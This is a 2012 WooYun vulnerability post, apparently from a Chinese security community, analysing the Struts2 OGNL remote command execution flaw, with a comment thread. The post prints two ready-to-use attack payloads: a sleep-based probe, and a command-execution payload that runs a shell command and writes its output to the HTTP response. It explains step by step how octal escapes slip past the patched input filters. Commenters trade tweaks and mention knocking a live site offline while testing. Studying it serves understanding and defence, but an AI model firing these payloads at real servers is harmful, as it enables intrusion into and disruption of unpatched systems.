当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08994

漏洞标题:structs2 远程命令执行漏洞分析

相关厂商:漏洞分析

漏洞作者: livers

提交时间:2012-06-29 13:49

修复时间:2012-06-29 13:49

公开时间:2012-06-29 13:49

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-06-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

很惊异 老漏洞一下子爆发了这么多 是工具刷rank ?
能否分析下原理。

详细说明:

大牛们不要见笑。
新的exp 构造的很精巧
以POST的方式提交绕过对输入参数的部分过滤。
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
实现交互的shell.
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
\75 (=的8进制)\40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。
这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“ls -l” 定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流 (post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
这个和 zone 上 http://zone.wooyun.org/content/200说的一致
GaRY | 2012-05-10 13:36
@livers 其实原理就和我之前用php操作fd复用链接直接生成shell一样。java更直接,因为tomcat等container和webapp几乎没界限,同一层面的东西。所以只要找到这个上下文的writer,往里面读写就ok了。
看了衰仔和 gainover他们的工具是利用方式是一样的,好巧
构造post 和绕过变量还有其他方法进行执行。
PS:其实我不懂java.

漏洞证明:


修复方案:

打补丁

版权声明:转载请注明来源 livers@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:10 (WooYun评价)


漏洞评价:

评论

  1. 2012-06-29 13:51 | livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)

    @xsser 多谢 其实我也想公开的 你真的懂我。

  2. 2012-06-29 13:53 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @livers 嗯,这种方式不错的哦~ 不过ognl和漏洞利用的原理可以铺开一下就更好了

  3. 2012-06-29 13:53 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @livers 这种态度很赞,有自己的分析与想法与大家分享,价值体现!

  4. 2012-06-29 13:56 | livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)

    @xsser 我struts2 就大学里写过一点,上面是逆向着写出来的,后面腾出时间整理个全的。

  5. 2012-06-29 13:57 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    说明一下,我不懂java,那工具,我只是在理解的基础上抄了一遍这个帖子里的exp: WooYun: 香港电视台Struts2漏洞 ,另外在测试过程中我发现,这个exp并不是万能的,有些网站会发生无回显的现象,虽然找到不是很好的解决办法,但原因尚不明(非补丁原因)。

  6. 2012-06-29 13:57 | livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)

    @疯狗 thks

  7. 2012-06-29 13:59 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @gainover 你的工具,WIN主机用默认的命令木回显。。。的确有些不回显。。

  8. 2012-06-29 14:00 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @imlonghao 不是系统原因。 之前找蟋蟀测试的时候,有些网站,不管是linux还是win的都会无回显。

  9. 2012-06-29 14:02 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @gainover 就是这个,WooYun-2012-08865,我怎么都木回显,后来找错了,找了一段重启的代码,一贴,好吧,拒绝服务了 .. - -||

  10. 2012-06-29 14:08 | livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)

    @gainover 不好测试啊,主要是jsp的环境搭建太费力气,无法还原现场

  11. 2012-06-29 14:27 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    很好 精神值得学习。

  12. 2012-06-29 14:28 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    忽然间struts2漏洞又火了把!

  13. 2012-06-29 14:35 | koohik ( 普通白帽子 | Rank:542 漏洞数:63 | 没什么介绍的http://www.koohik.com/)

    火了火了!

  14. 2012-06-29 14:39 | kEvin1986 ( 普通白帽子 | Rank:102 漏洞数:6 | $ ? #)

    sleep(8)换成getWrite().print("smkey_word")或者addHeader(k,v)就能直观检测了.输出也不需要new DataInputStream这么麻烦 直接getInputStream().read(byte[])..这样

  15. 2012-06-29 14:40 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @gainover waf也可能造成

  16. 2012-06-29 14:44 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    今天早上刚巧看了空虚浪子心的两篇文章,有助于对此漏洞的理解http://www.inbreak.net/archives/167http://www.inbreak.net/archives/363

  17. 2012-06-29 15:11 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    分析的很好

  18. 2012-06-29 15:24 | 自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量,但我向往自由)

    直接求工具吧

  19. 2012-06-29 15:32 | 自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量,但我向往自由)

    @gainover 求个工具

  20. 2012-06-29 16:11 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @HRay 恩,写的很好,我也拜读过。

  21. 2012-06-29 16:11 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @自由与精神 POC都在这个帖子里了,还要工具干嘛,工具就只是一个壳子而已。

  22. 2012-06-29 17:31 | Mr.杨总 ( 路人 | Rank:14 漏洞数:4 | 绿色 无毒 你懂得。。。。心要宽 。。。)

    @Xhm1n9 忽然间struts2漏洞又火了把!

  23. 2012-06-29 18:01 | Max ( 实习白帽子 | Rank:45 漏洞数:7 | When you see this sentence, I have been ...)

    @livers 赞

  24. 2012-06-29 18:28 | livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)

    excludeProperties=@java.util.Collections@EMPTY_SET 是wofeiwo 大牛的原创

  25. 2012-06-29 22:57 | 自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量,但我向往自由)

    @gainover 工具就是为了懒

  26. 2012-06-30 21:53 | Eric ( 路人 | Rank:1 漏洞数:1 | 网络技术爱好者。)

    不错,仔细读懂。

  27. 2012-07-02 21:09 | isno ( 路人 | Rank:20 漏洞数:3 | test)

    哪位大神知道,struts 1.2.7是否受这个漏洞的影响?

  28. 2012-08-27 19:09 | 有礼物送上 ( 普通白帽子 | Rank:187 漏洞数:26 | xxx)

    @isno 其实这是xwork核心的功能OGNL出的问题,xwork框架由于写得过于强大,老外在写Struts2框架偷懒了,直接照搬xwork的源代码。 所以,曾经使用过xwork做底层的框架都会有这个问题,例如:webWork框架。(问题并不只是大家都在喊的Struts2的漏洞,应该算是xwork框架的问题。另外,struts1和struts2的框架结构是有很大区别的,可以说两者没有任何关系,struts1没有使用xwork!)。

  29. 2012-08-27 19:11 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    顶楼上一下